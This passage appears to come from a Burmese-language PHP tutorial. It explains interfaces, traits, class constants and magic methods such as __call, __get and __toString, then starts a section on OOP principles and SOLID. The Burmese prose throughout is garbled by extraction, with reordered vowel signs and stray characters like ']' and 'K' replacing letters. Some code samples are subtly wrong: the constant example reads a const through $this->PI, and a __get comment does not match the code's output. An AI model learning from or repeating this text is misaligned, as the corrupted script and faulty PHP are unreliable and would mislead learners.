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Abstract  Class  နဲ့  နည်းနည်းဆင်တဲ့  Interface  ပေရးထံုးလည်း  ရှိပါပေသးတယ်။  ကွာသွားတာကပေတာ့
Abstract  Class  မှာ  ရိုးရိုး  Method  ပေတွပေရာ  Abstract  Method  ပေတွပေရာ  ထည့ပ်ေရးလ့ုိ  ရပေပမယ့်၊
Interface ကပေတာ့ Abstract Method ပေတွ]ျည်းပဲ ပေရးလို့ရပါတယ်။ ရိုးရိုး Method ပေတွ ထည့်ပေရးလ့ုိ မရ
ပါဘူး။  ဒီပေရးနည်းပေတွက  လက်ပေတွ့ပပေရာဂျက်ပေတွမှာ  ဖြပုဖြပင်ထိန်းသိမ်းရလွယ်တဲ့ကုဒ်ပေတွ  ပေရးသားKုိ့
အတွက် အပေထာက်အကူဖြပုတဲ့ ပေရးနည်းပေတွပါ။ ဖြမင်သာမယ့် ဥပမာရိုးရိုးပေလးတစ်]ု ပေပးပါမယ်။

 PHP 

<?php

class Dog
{
    public function run()
    {
        echo "The dog is running";
    }
}

class Fish
{
    public function swim()
    {
        echo "The fish is swimming";
    }
}

function app(Dog $obj) {
    $obj->run();
}

app(new Dog);   // The dog is running
app(new Fish);  // Error: Argument must be Dog

နမူနာအရ Dog နဲ့  Fish ဆိုတဲ့  Class နှစ်]ုရှိပါတယ်။ ဆက်ပေရးထားတဲ့  app() Function ကပေတာ့ Dog
Object  ကို  Parameter  အပေနနဲ့  ပေပးရမယ်လ့ုိ ပေရးထားတာကိုလည်း ပေတွ့ ရနိုင်ပါတယ်။ ဒါပေကြကာင့် စမ်း
ကြကည့်လုိက်ပေတာ့  Dog Object  ကိုပေပးတဲ့အ]ါ အလုပ်လုပ်ပြပီး၊  Fish Object  ကိုပေပးတဲ့အ]ါ  Error  တက်
သွားတာကို ပေတွ့ရမှာ ဖြKစ်ပါတယ်။
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ဆိုလုိတာက၊  Dog Object  ပေပးရမယ့်ပေနရာမှာ  Dog Object  ကိုပဲ  အတိအကျပေပးရမှာဖြKစ်ပါတယ်။ တစ်
ဖြ]ား Object အမျ ို းအစားကို လက်]ံမှာ မဟုတ်ပါဘူး။ နမူနာမှာ Type Hinting ပေရးထံုးကိုသံုးထားလ့ုိ ဒီလုိ
Error တကတ်ာဖြKစ်သလုိ Type Hinting ပေရးထံုးကို မသုံးရင်လည်း Error တက်မှာပါပဲ။ ပေပးလုိက်တဲ့ Fish
Object မှာ app() Function က အသံုးဖြပုလုိတဲ့ run() Method မရှိလ့ုိပါ။

ဒီလိုပေနရာမျ ို းမှာ  Interface  ကိုအသံုးဖြပုလ့ုိရပါတယ်။  အတိအကျ  မတူပေပမယ့်  အမျ ို းအစားဆင်တူတဲ့
Object ပေတွ တည်ပေဆာက်Kို့အတွက် Interface ကိုသုံးရတာပါ။ ဒီလုိပါ – 

 PHP 

<?php

interface Animal
{
    public function move();
}

class Dog implements Animal
{
    public function move()
    {
        echo "The dog is running";
    }
}

class Fish implements Animal
{
    public function move()
    {
        echo "The fish is swimming";
    }
}

function app(Animal $obj) {
    $obj->move();
}

app(new Dog);   // The dog is running
app(new Fish);  // The fish is swimming
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နမူနာမှာ  Animal Interface  ပါဝင်သွားပါပြပီ။ အထဲမှာ  Abstract Method  move() ကို  ပေကြကညာထားပါ
တယ်။ Abstract Class မှာရိုးရိုး Method နဲ့ Abstract Method ကို]ွဲဖြ]ားနိုင်Kို့  abstract Keyword ကို
သံုးရပေပမယ့်  Interface  မှာပေတာ့  Abstract Method ပေတွပဲ ပေရးလ့ုိရတာမ့ုိလ့ုိ ]ွဲဖြ]ားပေပးစရာမလုိပေတာ့လ့ုိ
abstract Keyword ထည့်သံုးစရာ မလိုပေတာ့ပါဘူး။

Dog Class နဲ့ Fish Class တို့ဟာ အမျ ို းအစား မတူကြကပေပမယ့် Implement လုပ်ထားတဲ့ Interface တူကြက
ပါတယ်။ Interface တစ်]ုကို  Implement လုပ်ပြပီဆိုရင်  Interface ကသတ်မှတ်ထားတဲ့  Method ပေတွကို
ပေရးပေပးရပါတယ်။ ဒါပေကြကာင့် နမူနာမှာ Dog Class ပေရာ Fish Class မှာပါ move() Method ရှိပါတယ်။

ဆက်ပေရးထားတဲ့  app() Function  က  Animal Object  ကို  လက်]ံမယ်လ့ုိ သတ်မှတ်ထားပါတယ်။ ဒါ
ပေကြကာင့် Animal Interface ကပေနဆက်]ံဖြKစ်ပေပါ်လာတဲ့ Dog Object ကိုပေပးတဲ့အ]ါ အလုပ်လုပ်သွားသလုိ
Animal Interface ကပေနပဲ ဆက်]ံဖြKစ်ပေပါ်လာတဲ့  Fish Object ကို ပေပးတဲ့အ]ါမှာလည်း အလုပ်လုပ်သွား
တာကို ပေတွ့ဖြမင်ရမှာပဲ ဖြKစ်ပါတယ်။

ဒီနည်းနဲ့  Interface    ကိုအသံုးဖြပုပြပီး  အမျ ို းအစားမတူပေပမယ့်၊    Interface    တတူဲ့    Object    ပေတွကို  Kလှယ်  
အစားထုိး အသံုးဖြပုလုိ့ရရှိနိုင်သွားမှာပါ။ 

Inheritance  မှာ  Multiple  Inheritance  ]ွင့်မဖြပုပေပမယ့်  Interface  မှာပေတာ့  Interface  နှစ်]ုသံုး]ုကို
Implement လုပ်တာကို လက်]ံပါတယ်။ ဒါပေကြကာင့် ဒီလုိပေရးလို့ ရနိုင်ပါတယ်။

 PHP 

<?php

interface Animal
{
    public function move();
}

interface Livestock
{
    public function isFriendly();
}
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class Cow implements Animal, Livestock
{
    public function move()
    {
        echo "The cow is walking";
    }

    public function isFriendly()
    {
        return true;
    }
}

နမူနာအရ  Cow Class  ဟာ  Animal Interface  နဲ့  Livestock Interface  နှစ်]ုကို  Implement  လုပ်ထား
တာကို ပေတွ့ရမှာဖြKစ်ပါတယ်။ ဒါပေကြကာင့် Interface နှစ်]ုလံုးမှာ သတ်မှတ်ထားတဲ့ Abstract Method ပေတွ
ဖြKစ်ကြကတဲ့ move() နဲ့ isFriendly() တို့ကို ဖြပည့်စုံပေအာင် Cow Class မှာ ပေရးပေပးရမှာပါ။

PHP  မှာ  Multiple  Inheritance  ကို  ]ွင့်မဖြပုတဲ့အတွက်ပေကြကာင့်  အစားထုိးထည့်သွင်းပေပးထားတဲ့
လုပ်ပေဆာင်]ျက်တစ်]ု ရိှပါတယ်။ Traits  လ့ုိပေ]ါ်ပါတယ်။ Multiple Inheritance မရလ့ုိ Class နှစ်]ုသံုး]ု
က လုပ်ပေဆာင်]ျက်ပေတွကို တစ်]ါထဲ ဆက်]ံလ့ုိမရဘူး ဖြKစ်ပေနတယ်၊ ဒါပေကြကာင့် တူညီတဲ့ကုဒ်ပေတွ ဖြပန်ပေရး
ရမလုိ ဖြKစ်ပေနနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Math
{
    public function add($a, $b)
    {
        echo $a + $b;
    }
}

class Area
{
    private $PI = 3.14;

    public function circle($r)
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    {
        echo $this->PI * $r * $r;
    }
}

class Calculator extends Math    // and Area
{
    //
}

နမူနာမှာ တွက်]ျက်မှုပေတွ လုပ်ပေပးနိုင်တဲ့ Math Class နဲ့ Area Class တို့ရှိပေနပါတယ်။ Calculator Class
က နှစ်]ုလံုးရဲ့လုပ်ပေဆာင်]ျက်ပေတွကို ဆက်]ပံေရးသား]ျင်ပေပမယ့် Multiple Inheritance မရလ့ုိ မရနိုင်ဘူး
ဖြKစ်ပေနပါတယ်။  နှစ်]ုထဲက  တစ်]ုပဲ  ရပါပေတာ့မယ်။  ဒီလုိ  အပေဖြ]အပေနမျ ို းမှာ  Traits  ကို  အသံုးဖြပုနိုင်ပါ
တယ်။ ဒီလိုပါ –

 PHP 

<?php

trait Math
{
    public function add($a, $b)
    {
        echo $a + $b;
    }
}

trait Area
{
    private $PI = 3.14;

    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

class Calculator
{
    use Math, Area;
}

$calc = new Calculator;
$calc->add(1, 2);    // 3
$calc->circle(5);    // 78.5
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Math နဲ့ Area တို့ဟာ Class ပေတွ မဟုတ်ကြကပေတာ့ပါဘူး။ လုိတဲ့ Class ကပေန ပေ]ါ်သံုးလ့ုိရတဲ့ Traits ပေတွ
ဖြKစ်သွားကြကပါပြပီ။ ဒါပေကြကာင့်  Calculator Class  မှာ  use Statement  နဲ့   ပေ]ါ်သံုးလုိက်တဲ့အ]ါ  Math  နဲ့
Area နှစ်]ုလံုးရဲ့လုပ်ပေဆာင်]ျက်ပေတွကို Calculator Class က ရရှိသွားတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။

လက်စနဲ့  Class Constant အပေကြကာင်းပေလးလဲ ထည့်မှတ်ပါ။  Class တစ်]ုအတွင်းမှာ Constant ပေကြကညာ
လုိရင် const Statement ကိုအသံုးဖြပု ပေကြကညာနိုင်ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Area
{
    const PI = 3.14;

    public function circle($r)
    {
        echo $this->PI * $r * $r;
    }
}

Constant အတွက် ရိုးရိုး Property လုိ $ သပေက�တ ထည့်ပေပးစရာမလုိအပ်ပါဘူး။ Traits အတွင်းမှာပေတာ့
Constant ပေတွ ထည့်ပေရး]ွင့်မရှိပါဘူး။ Class အတွင်းမှာသာ ပေရး]ွင့်ရှိပါတယ်။ ပြပီးပေတာ့ Class Constant
ပေတွဟာ    Static  Member   ပေတွ  ဆိုတာကိုလည်း သတိဖြပုပါ။  ဒါပေကြကာင့်  အသုံးဖြပုလုိရင်  Double Colon
Operator နဲ့ အသုံးဖြပုပေပးရမှာပါ။

echo Area::PI; // 3.14

Class တိုင်းမှာ class ဆိုတဲ့ Default Constant ရှိပေနပါတယ်။ ဥပမာ Area::class ဆိရုင် Area Class
ရဲ့  Namespace  အဖြပည့်အစုံကို  ဖြပန်ရမှာ  ဖြKစ်ပါတယ်။  Namespace  အပေကြကာင်းကို  သက်ဆိုင်ရာအ]န်း
ပေရာကပ်ေတာ့မှ ဆက်ကြကည့်ကြကပါမယ်။
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Magic Methods
PHP Class  ပေတွမှာ  Magic  Methods  လ့ုိပေ]ါ်တဲ့  အသံုးဝင်တဲ့  Standard  Method  တစ်]ျ ို ့  ရှိပါတယ်။
__construct() ဟာ  Magic Method  တစ်]ုပါ။  __construct() Magic Method  ဟာ  Object
တည်ပေဆာက်စဉ်မှာ  Constructor  အပေနနဲ့  အလုပ်လုပ်သလုိပဲ  __destruct() လ့ုိပေ]ါ်တဲ့  Object  ကို
ပယ်Kျက်လုိက်]ျနိ်မှာ အလုိအပေလ�ာက် အလုပ်လုပ်တဲ့ Destructor လည်းရှိပါပေသးတယ်။ စုစုပေပါင်း Magic
Method (၁၇) ]ုရှိတဲ့အထဲက သတိဖြပုသင့်တဲ့ Method တစ်]ျ ို ့ကို ပေရးွထုတ်ပေKာ်ဖြပ]ျင်ပါတယ်။

ပထမဆုံးမှတ်သားသင့်တာက  __call() နဲ့  __callStatic() ဖြKစ်ပါတယ်။ ပံုမှန်အားဖြKင့်  မရှိတဲ့
Method ပေတွကို ပေ]ါ်တဲ့အ]ါ Error တက်ပါလိမ့်မယ်။ PHP က မရှိတဲ့ ရိုးရိုး   Method   ကိုပေ]ါ်K့ုိကြကိုးစားရင်  
__call() ကို အလုပ်လုပ်ပေပးပြပီး  မရှိတဲ့    Static Method    ကို  ပေ]ါ်K့ုိကြကိုးစားရင်   __callStatic()
ကို အလုပ်လုပ်ပေပးပါတယ်။ ဒါပေကြကာင့် အ]ုလုိ ပေရးထားလ့ုိ ရနိုင်ပါတယ်။

 PHP 

<?php

class Math
{
    public function __call($name, $args)
    {
        echo "Method $name doesn't exists";
    }

    static function __callStatic($name, $args)
    {
        echo "Static method $name doesn't exists";
    }
}

$obj = new Math;
$obj->add();    // Method add doesn't exists

Math::add();    // Static method add doesn't exists

နမူနာမှာ မရှိတဲ့  add() Method ကို  Object  ပေပါ်မှာ ပေ]ါ်ယူK့ုိကြကိုးစားတဲ့အ]ါ  PHP Runtime Error  မ
တက်ပေတာ့ဘဲ ပေရးပေပးထားတဲ့  __call() Method  ကို  အလုပ်လုပ်ပေပးသွားတာကို  ပေတွ့ရနိုင်ပါတယ်။
အလားတူပဲ မရှိတဲ့ add() Static Method ကို ပေ]ါ်K့ုိကြကိုးစားတဲ့အ]ါမှာလည်း Runtime Error မတက်ဘဲ
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__callStatic() ကို  အလုပ်လုပ်သွားတာကို  ပေတွ့ရမှာပဲ  ဖြKစ်ပါတယ်။  __call() ပေရာ
__callStatic() ပေရာ နှစ်]ုလံုးက ပေ]ါ်ယူK့ုိ ကြကိုးစားတဲ့  Method Name  နဲ့  Argument  စာရင်းကို
လက်]ံအလုပ်လုပ်ပေပးပါတယ်။  နမူနာမှာ  ပေ]ါ်ယူK့ုိ  ကြကိုးစားတဲ့  Method  အမည်ကို  အသံုး]ျထားတာကို
ပေတွ့ရနိုင်ပါတယ်။

ပေနာက်ထပ်မှတ်သားသင့်တဲ့ Magic Method ကပေတာ့ __invoke() ဖြKစ်ပါတယ်။ Object   ကို   Function  
တစ်]ုကဲ့သ့ုိ   Run   K့ုိကြကိုးစားတဲ့အ]ါ   __invoke() ကို အလုပ်လုပ်ပေပးမှာဖြKစ်ပါတယ်။ ဒီလိုပါ –

 PHP 

<?php

class Math
{
    public function __invoke()
    {
        echo "This is not a function";
    }
}

$obj = new Math;
$obj();    // This is not a function

နမူနာမှာ  $obj ကို  ပေနာက်က  ဝုိက်ကွင်း  အKွင့်အပိတ်  ထည့်ပြပီး  Run  K့ုိကြကိုးစားလိုက်တဲ့အ]ါ
__invoke() အလုပ်လုပ်သွားတာကို ပေတွ့ရနိုင်ပါတယ်။

ပေနာက်ထပ် မှတ်သားသင့်တာကပေတာ့  __set() နဲ့  __get() ဖြKစ်ပါတယ်။  Private  တို့  Protected
ဖြKစ်ပေနလ့ုိ  အသုံးဖြပု]ွင့်မရှတိဲ့    Property    ပေတွကို  ရယူKုိ့ကြကိုးစားရင်   __get() အလုပ်လုပ်ပြပီး  တန်Kုိး
သတ်မှတ်K့ုိ ကြကိုးစားရင် __set() အလုပ်လုပ်ပါတယ်။ ဒီလိုပါ –
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 PHP 

<?php

class Math
{
    private $PI = 3.14;
    
    public function __get($name)
    {
        echo "Cannot get $name";
    }

    public function __set($name, $value)
    {
        echo "Cannot set $name with $value";
    }
}

$obj = new Math;
echo $obj->PI;      // Cannot access PI

$obj->PI = 3.142;   // Cannot set PI with 3.142

Private  Property  ဖြKစ်တဲ့  PI  ကို  ယူK့ုိကြကိုးစားလုိက်တဲ့အ]ါ  __get() အလုပ်လုပ်သွားပြပီး  တန်Kုိး
သတ်မှတ်K့ုိ ကြကိုးစားလုိက်တဲ့အ]ါ __set() အလုပ်လုပ်သွားတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။

ပေနာက်ထပ် Magic Method ဖြKစ်တဲ့ __toString() ကိုသံုးပြပီး Object   ကို   String   တစ်]ုကဲ့သ့ုိ အသံုးဖြပု  
K့ုိ ကြကိုးစားတဲ့အ]ါ ဘာလုပ်ပေပးရမလဲ သတ်မှတ်ထားနိုင်ပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

class Math
{
    private $PI = 3.14;
    
    public function __toString()
    {
        return "PI = $this->PI";
    }
}
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$obj = new Math;

echo $obj;      // PI = 3.14

နမူနာအရ  $obj ကို  echo နဲ့  ရိုက်ထုတ်K့ုိ  ကြကိုးစားလိုက်တဲ့အ]ါ  __toString() Method  အလုပ်
လုပ်သွားတာကို ပေတွ့ဖြမင်ရဖြ]င်း ဖြKစ်ပါတယ်။

ဒီ  Magic  Method  ပေတွဟာ  ပေတာ်ပေတာ်  အသံုးဝင်ပါတယ်။  ဒါပေပမယ့်  ဒီ  Method  ပေတွကို  ကိုယ်တိုင်
ပေရးသားအသံုးဖြပုKို့  အားမပေပးကြကပါတယ်။ ပေတာပ်ေတာ်စွမ်းတဲ့  Method  ပေတွဖြKစ်သလုိ ပေရးသားအသံုးဖြပုပံု
မမှန်ရင် ပပေရာဂျက်ရဲ့ အလုပ်လုပ်ပံုကို ကပေမာက်ကမ ဖြKစ်သွားပေစနိုင်လုိ့ တားဖြမစ်ကြကပါတယ်။ 

ဒီလို  ကိုယ်တိုင်ပေရးသားအသုံးဖြပုK့ုိ  အားမပေပးပေပမယ့်၊  အ]ုလူကြကိုက်များပေနတဲ့  Laravel  အပါအဝင်  PHP
Framework  ပေတွကပေတာ့  ဒီ  Magic  Method  ပေတွကို  ထိထိပေရာကပ်ေရာက်  အသံုး]ျထားကြကပါတယ်။ ဒီ
Magic  Method  ပေတွရဲ့  အကူအညီနဲ့  ကုဒ်ပေတွပေရးသားရတာ လွယ်ကူလ�င်ဖြမန်သွားပေအာင် ပေနာက်ကွယ်
ကပေန စီစဉ်ပေပးထားကြကပါတယ်။ ဒါပေကြကာင့်  ကိုယ်တိုင်ပေရးသားKုိ့ထက်    PHP Framework    ပေတရွဲ့  အလုပ်  
လုပ်ပံုကို ပုိပြပီးနားလည်ပေစနိုင်K့ုိ အတွက်သာ ထည့်သွင်းပေKာ်ဖြပဖြ]င်းဖြKစ်တယ်လုိ့ ဆိုနိုင်ပါတယ်။
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အခန်း (၈) – Essential Design Patterns

Object-Oriented Programming (OOP) ဟာ အပေဖြ]]ံသပေဘာနဲ့ ပေရးထံုးအရ သိပ်မ]က်ပါဘူး။  OOP ရဲ့
ပင်မ သပေဘာသဘာဝ (၄) ]ု ရှိတယ်လ့ုိ ဆိုနိုင်ပါတယ်။

1. Objects
2. Encapsulation
3. Inheritance
4. Polymorphism

ဒီလိုပေ]ါင်းစဉ်တပ်ပြပီး  မပေဖြပာ]ဲ့ပေပမယ့်  ပြပီး]ဲ့တဲ့အ]န်းမှာ  ဒီပင်မ  သပေဘာသဘာဝ အားလံုးကို  ထည့်သွင်း
ပေလ့လာ]ဲ့ကြကပြပီး ဖြKစ်ပါတယ်။ Property ပေတွ Method ပေတရွှိတဲ့ Object ပေတွရဲ့သပေဘာကို ပေလ့လာ]ဲ့ကြကပါ
တယ်။  Encapsulation  ကို  Information  Hiding  လ့ုိလည်း  ပေ]ါ်ပါတယ်။  Object  တစ်]ရုဲ့
လုပ်ပေဆာင်]ျက်ပေတွထဲက မလုိတာကို Kွက်ထားပြပီး လုိတာပဲ ပေKာ်ပေပးနိုင်တဲ့ သပေဘာသဘာဝပါ။ Private
တို့  Protected  တို့လုိ  ပေရးထံုးပေတွနဲ့  ဒီသပေဘာကိုလည်း ပေတွ့ ဖြမင်]ဲ့ကြကပြပီး ဖြKစ်ပါတယ်။  Inheritance  ကို
Composition  လ့ုိလည်း  ပေ]ါ်ကြကပါတယ်။  Object  ပေတွရဲ့  တစ်]ုနဲ့တစ်]ု  ဆက်နွယ်တည်ပေဆာက်နိုင်ပံု၊
ဆက်စပ်Kဲွ့စည်းနိုင်ပံုတို့ကို  Inheritance  ပေရးထံုး  Abstract  Class  ပေရးထံုးတို့နဲ့  ပေလ့လာ]ဲ့ကြကပါတယ်။
Polymorphism ဆိုတာကပေတာ့ ဆင်းသက်မှုတူတဲ့ Object ပေတွရဲ့ Kဲွ့စည်းပံုဟာ ပေဖြပာင်းလဲ အလုပ်လုပ်နိုင်
တဲ့ သသပေဘာပါ။  Subtyping  လ့ုိလည်း ပေ]ါ်ကြကပါတယ်။  Interface  ပေရးထံုးရဲ့ အကူအညီနဲ့ ဆင်းသက်မှု
တူတဲ့  Object  ပေတွဟာ အပေသးစိတ်မှာကွဲဖြပားနိုင်ပေပမယ့် Kလှယ်အသံုးဖြပုနိုင်ပံုကိုလည်း ပေလ့လာ]ဲ့ကြကပြပီး
ဖြKစ်ပါတယ်။
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ပေလ့လာသူပေတွအတွက်  ဒီလို  ဆန်းကျယ်တဲ့  အပေ]ါ်အပေဝါ်ပေတွပေကြကာင့်  မရှုပ်သင့်ဘဲ  နားရှုပ်စရာဖြKစ်နိုင်ပါ
တယ်။  ဒါပေပမယ့်  လက်ပေတွ့လုပ်ငန်း]ွင်မှာ၊  တစ်ဦးနဲ့တစ်ဦး  ဆက်သွယ်အလုပ်လုပ်ကြကတဲ့အ]ါ
အဖြပန်အလှန် နားလည်တဲ့  အပေ]ါ်အပေဝါ်ပေတွ ရှိထားမှ သာ ဆက်သွယ်အလုပ်လုပ်ရတာ ထိပေရာက်မှုရှိမှာ
ဖြKစ်ပါတယ်။ တစ်ပေယာက်က Encapsulation လ့ုိပေဖြပာလိုက်ရင် ဘာကိုဆိုလုိတာလဲ ဆိုတာကို ကျန်လူပေတွ
က သိကြကK့ုိ  လုိပါတယ်။  Composition  လ့ုိပေဖြပာလိုက်ရင်  ဘာကိုပေဖြပာ]ျင်တာလဲဆိုတာကို  သိကြကKို့  လုိပါ
တယ်။  Polymorphism  ဆိရုင်  ဘာကို  ဆိုလုိတာလဲဆိုတာကို  သိကြကK့ုိ  လုိပါတယ်။  ပြပီး]ဲ့တဲ့  အ]န်းမှာ
ပေလ့လာ]ဲ့တဲ့ ကုဒ်နမူနာပေတွနဲ့ အ]ုအပေပါ်မှာ ရှင်းဖြပ]ဲ့တဲ့ အကျဉ်း]ျုပ် Kွင့်ဆို]ျက်ပေတွကို ပေပါင်းစပ်ပြပီး သိ
သင့်တဲ့ ပင်မသပေဘာသဘာဝ အပေ]ါ်အပေဝါ် (၄) မျ ို းကို သိရှိသွားကြကမယ်လ့ုိ ယူဆပါတယ်။

OOP ဟာ ပေရးထုံးနဲ့  ဒီပင်မ သပေဘာသဘာဝပေတွအရ သိပ်မ]က်လှဘူးဆိုပေပမယ့်၊  ဒီသပေဘာသဘာဝပေတွ
ကို  ပေပါင်းစပ်လုိက်တဲ့  အ]ါမှာပေတာ့  ပေတာ်ပေတာ်ပေလးကို  ကျယ်ဖြပန့်တဲ့  အပေကြကာင်းအရာတစ်]ု ဖြKစ်သွားပါ
တယ်။  ပေရးသားသူရဲ့  အဖြမင်ပံုပေKာ်နိုင်စွမ်း  Imagination  ပေပါ်မူတည်ပြပီး  ဗိသုကာပေဖြမာက်ပေလာက်ပေအာင်
သပ်ရပ်]ိုင်မာတဲ့  Robust  Code  Architecture  ဖြKစ်သွားနိုင်သလုိ၊  ဘာကိုဆိုလုိမှန်းကို  မသိနိုင်ပေလာက်
ပေအာင် ရှုပ်ပေထွးတဲ့ ကုဒ်ပေတွလည်း ဖြKစ်သွားနိုင်ပါတယ်။ ဒါပေကြကာင့် လက်ပေတွ့ပပေရာဂျက်ပေတွမှာ ကြကုံရတဲ့
အ]က်အ]ဲပေတွပေပါ်  မူတည်ပြပီး  Object-Oriented  Design  Principles  ပေတွ  ထွက်ပေပါ်လာကြကသလုိ
လက်ပေတွ့ ပေရးကြကပေလ့ရှိတဲ့ ကုဒ်ပေတွပေပါ်မှာ အပေဖြ]]ံပြပီး  Object-Oriented Design Patterns  ပေတွ ထွက်
ပေပါ်လာကြကပါတယ်။ ပေနာက်ထပ် ဆန်းကျယ်တဲ့ အပေ]ါ်အပေဝါ်ပေတွ လာဖြပန်ပါပြပီ။

Object-Oriented  Design  Principles  ထဲမှာ  အထင်ရှားဆုံးကပေတာ့  SOLID  ဖြKစ်ပါတယ်။  ဒါပေတွဟာ
လက်ပေတွ့ဖြပဿပေပါ်မှာ အပေဖြ]]ံဖြKစ်ပေပါ်လာကြကတဲ့  သပေဘာသဘာဝပေတွမ့ုိလ့ုိ  လက်ပေတွ့ အပေတွ့အကြကုံ ရှိ
လာပေတာ့မှ  ပေဖြပာလ့ုိပေကာင်းတဲ့  အပေကြကာင်းအရာပေတွပါ။  စာKတ်သူအများစုက  အ]ုမှပေလ့လာစ
အပေနအထားမှာပဲ  ရှိကြကဦးမယ်လ့ုိ  ယူဆပါတယ်။  ဒါပေကြကာင့်  အ]ု]ျနိ်ဒါပေတွပေဖြပာရတာ အဆင့်ပေကျာ်သလုိ
ဖြKစ်ပေကာင်းဖြKစ်ပေနနိုင်ပါတယ်။ ဒါပေပမယ့် သိသင့်တဲ့ဗဟုသုတဖြKစ်လ့ုိ အကျဉ်း]ျုပ်ပေတာ့ ထည့်သွင်းပေဖြပာဖြပ
]ျင်ပါတယ်။

SOLID  ရဲ့  S  ဟာ  Single  Responsibility  Principle ဆိုတဲ့  အဓိပ္ပါယ်ဖြKစ်ပါတယ်။  Object  တစ်]ုမှာ
လုပ်ပေဆာင်]ျက်ပေတွ အပေဖြမာက်အများ ပါဝင်နိုင်ပေပမယ့် အဓိကရည်ရွယ်]ျက် တစ်]ုထဲပဲ ဖြKစ်သင့်တယ်ဆို
တဲ့မူပါ။  လက်ကိုင်မတ်]ွက်တစ်]ုကို  ပေကာ်Kီလည်း  ထည့်လ့ုိရပေအာင်လုပ်မယ်၊  အပေအးလည်း  ထည့်လုိ့
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ရပေအာင် လုပ်မယ်ဆိုတာ သိပ်ဖြပဿနာ မရှိပေပမယ့်၊ လက်ကိုင်ပါပေနလ့ုိ တူလုိမျ ို း ထုလိုရပေအာင်လည်း လုပ်
လုိက်မယ်ဆိုရင်ပေတာ့  အဆင်ပေဖြပမှာ  မဟုတ်ပါဘူး။  အဖြပင်ကတစ်ကယ့်]ွက်ကို  သွားလုပ်လ့ုိ  မရပေပမယ့်
ကုဒ်ဆိုတာမျ ို းက ပေရးရင်ပေတာ့ ရတာပါပဲ။ ရတုိင်းအကုန်ပေလ�ာက်ပြပီး မလုပ်]ိုင်းသင့်ဘူးဆိုတဲ့သပေဘာပါ။

SOLID ရဲ့ O ကပေတာ့ Open/Close Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ ဖြKည့်စွက်မှုကို လက်]ံပေပမယ့်၊ ဖြပင်ဆင်မှု
ကို လက်မ]ံသင့်ဘူးဆိုတဲ့ မူဖြKစ်ပါတယ်။ Object တစ်]ုကို ဆက်]ံတဲ့အ]ါမှာပဲဖြKစ်ဖြKစ်၊ အသံုး]ျတဲ့အ]ါမှာ
ပဲဖြKစ်ဖြKစ်  လုိအပ်လုိ့  လုပ်ပေဆာင်]ျက်အသစ်ပေတွ  တန်Kုိးအသစ်ပေတွ  Object  မှာ  ထပ်ပေပါင်းလုိက်တာကို
လက်]ံသင့်ပေပမယ့်  Object  ရဲ့  မူလလုပ်ပေဆာင်]ျက်ပေတွကို  ဖြပင်ဆင်လုိက်တာမျ ို းကို  မလုပ်သင့်ဘူးဆိုတဲ့
သပေဘာသဘာဝဖြKစ်ပါတယ်။

SOLID ရဲ့ L ကပေတာ့ Liskov Substitution Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ အမျ ို းအစားတူတဲ့ Object ပေတွ
ကို Kလှယ်အသုံးဖြပုလ့ုိ ရပေအာင် စီစဉပ်ေရးသားရမယ်ဆိုတဲ့ မူဖြKစ်ပါတယ်။ ဒီသပေဘာကိုပေတာ့  Interface နဲ့
အတူ ပေတွ့]ဲ့ကြကပြပီး ဖြKစ်ပါတယ်။

SOLID ရဲ့ I ကပေတာ့ Interface Segregation Principle ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ လုပ်ပေဆာင်]ျက်ပေတွကို တစ်]ု
နဲ့တစ်]ု အပေသတွဲဆက်ထားမယ့်အစား ပုိင်းထုတ်လ့ုိရတဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို ပုိင်းထုတ်ထားရမယ်ဆို
တဲ့ မူဖြKစ်ပါတယ်။ ဥပမာ -  မီးပူနဲ့ မီးအိမ်ကို မီး]လုပ်]ုံတစ်]ုထဲမှာ ပေရာမတပ်ဘဲ နှစ်]ု]ွဲတပ်တဲ့ သပေဘာ
လ့ုိ ဖြမင်ကြကည့်နိုင်ပါတယ်။ တွဲထားလုိက်တဲ့အ]ါ တစ်]ုပေကြကာင့်  မီး]လုပ်]ုံပေရှာ့ဖြKစ်ရင် နှစ်]ုလံုး  သံုးမရဖြKစ်
တတ်ပါတယ်။ ]ွဲထားလုိက်တဲ့အ]ါ သီးဖြ]ား စီမံဖြပင်ဆင်လ့ုိ ရသွားပေစမယ့်သပေဘာပဲ ဖြKစ်ပါတယ်။

SOLID ရဲ့  D ကပေတာ့ Dependency Inversion Principle လ့ုိပေ]ါ်ပါတယ်။ ဥပမာ - ပေ]ါင်းပေဖြပာင်းပြပီး သံုး
လ့ုိရတဲ့ ဝက်အူလှည့် လုိမျ ို းပါ။ ဝက်အူလှည့်အဖြပား ဆိုရင် ဝက်အူပေ]ါင်းအဖြပားကိုပဲ ရစ်လ့ုိရမှာပါ။ တစ်ဖြ]ား
အမျ ို းအစားကို ရစ်လ့ုိအဆင်ပေဖြပမှာ မဟုတ်ပါဘူး။ ဝက်အူလှည့် လက်ကိုင်မှာ ကြကိုက်တဲ့ပေ]ါင်း အမျ ို းအစား
ပေဖြပာင်းတပ်ပြပီး သံုးလုိရရင်ပေတာ့ ပုိအသံုးဝင်သွားပါပြပီ။ Dependency Inversion ဆိုတာလည်း ဒီသပေဘာပါ
ပဲ၊  လုိမယ့်  လုပ်ပေဆာင်]ျက်ကို  အပေသတွဲ  ပေရးထားမယ့်အစား  ပေနာက်မှတွဲထည့်ပေပးလ့ုိရပေအာင်  စီစဉ်
ပေရးသားတဲ့နည်းပဲ ဖြKစ်ပါတယ်။
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ဒီထက်ပုိအကျယ်]ျဲ့ပြပီး  မပေဖြပာနိုင်ပေပမယ့်  ဒီအပေဖြ]]ံမူပေလးပေတွ  ပေ]ါင်းထဲထည့်ထားလုိက်ရင်  ပုိပြပီးပေတာ့
စနစ်ကျတဲ့ကုဒ်ပေတွ ပေရးသားနိုင်K့ုိအတွက် အပေထာက်အကူဖြKစ်ပေစပါလိမ့်မယ်။။

Design Patterns  ပေတွလည်း ရိှပါပေသးတယ်။  Design Principles    ပေတွက လုိက်နာရမယ့် မူပေတွဖြKစ်ပြပီး  
